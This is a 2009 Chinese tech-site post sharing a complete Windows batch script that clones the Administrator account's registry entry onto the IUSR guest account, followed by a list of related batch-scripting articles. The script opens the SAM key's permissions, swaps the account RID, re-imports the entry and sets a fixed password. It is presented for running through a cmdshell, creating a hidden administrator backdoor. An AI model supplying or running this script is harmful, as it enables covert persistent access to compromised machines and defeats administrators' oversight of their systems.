windows 復(fù)制隱藏帳號完全批處理
更新時間：2009年09月30日 12:19:18 作者：
其實(shí)就是注冊表里復(fù)制管理員權(quán)限到普通用戶那個操作,不過畢竟批處理容易在cmdshell里實(shí)現(xiàn)，貼出來吧。
復(fù)制代碼 代碼如下:
echo off
setlocal enabledelayedexpansion
echo %computername%
echo HKEY_LOCAL_MACHINE\SAM\SAM [1 17] >"%windir%\..\1.reg"
regini "%windir%\..\1.reg"
regedit /e "%windir%\..\1.reg" HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\IUSR_%computername%
rem unicode ->ascii
type "%windir%\..\1.reg" >"%windir%\..\2.reg"
del /q "%windir%\..\1.reg"
rem find IUSR_%computername% 的對應(yīng)id
for /F "delims=( tokens=1-5* skip=3" %%a in (%windir%\..\2.reg) do set iusr_id=%%b
del /q "%windir%\..\2.reg"
rem export administrator register
regedit /e "%windir%\..\1.reg" HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4
type "%windir%\..\1.reg" >"%windir%\..\2.reg"
del /q "%windir%\..\1.reg"
rem replace 1fx->iusr_id
for /f "tokens=* delims=:" %%i in (%windir%\..\2.reg) do (
for /f "tokens=*" %%j in ("%%i") do (
set TMP=%%j
set "TMP=!TMP:000001F4=00000%iusr_id:~0,3%!"
echo !TMP!>>%windir%\..\1.reg
)
)
regedit /s %windir%\..\1.reg
del /q %windir%\..\1.reg
del /q %windir%\..\2.reg
echo HKEY_LOCAL_MACHINE\SAM\SAM [17] >"%windir%\..\1.reg"
regini "%windir%\..\1.reg"
del /q "%windir%\..\1.reg"
net user IUSR_%computername% 12345678
克隆出來的用戶名是固定的,隨便變換的話要改代碼
相關(guān)文章
這篇文章主要介紹了批處理之新窗口執(zhí)行命令的相關(guān)知識，包括控制新打開窗口大小和手動設(shè)置標(biāo)題的腳本寫法，本文給大家介紹的非常詳細(xì),需要的朋友可以參考下2022-04-04
，由于單位需要配固定IP地址，而家里是自動獲得IP地址的，所以每天都要對這個IP地址設(shè)置來設(shè)置去，下面教大家個小技巧通過批處理切換IP地址，方便、快捷2013-11-11
批處理(Batch)，也稱為批處理腳本。顧名思義，批處理就是對某對象進(jìn)行批量的處理，通常被認(rèn)為是一種簡化的腳本語言，它應(yīng)用于DOS和Windows系統(tǒng)中。2019-02-02
這篇文章主要介紹了windows?dos命令解除端口占用,通過DOS命令查看端口占用及使用情況，本文給大家介紹的非常詳細(xì)，對大家的學(xué)習(xí)或工作具有一定的參考借鑒價值，需要的朋友可以參考下2022-07-07
用批處理寫的永不被殺的后門...2007-05-05
利用netstat命令找出使用TCP協(xié)議通信的端口，并將結(jié)果分割； 將第二個參數(shù)(IP加端口)傳給%%i，第五個參數(shù)(PID號)傳給%%j;2009-06-06
我們都知道if是命令行下的一個條件判斷語句，ERRORLEVEL是它的一個參數(shù)，翻譯過來就是“錯誤返回碼”的意思，它的作用是判斷前一條命令的錯誤返回值，然后和定義的字符值進(jìn)行比較，再決定進(jìn)行什么動作2007-03-03
批處理（dos/bat）最完整人性化教程...2007-05-05
自制控制進(jìn)程和控制開機(jī)啟動項(xiàng)批處理(ntsd強(qiáng)制結(jié)束版)
這篇文章主要介紹了自制控制進(jìn)程和控制開機(jī)啟動項(xiàng)批處理,需要的朋友可以參考下2014-05-05
經(jīng)常維護(hù)服務(wù)器，由于mssql數(shù)據(jù)庫經(jīng)常會占用大量內(nèi)存，所以我查找資料寫了如下代碼，方便自己也利于別人使用，都是直接從服務(wù)器上直接拿來的2008-02-02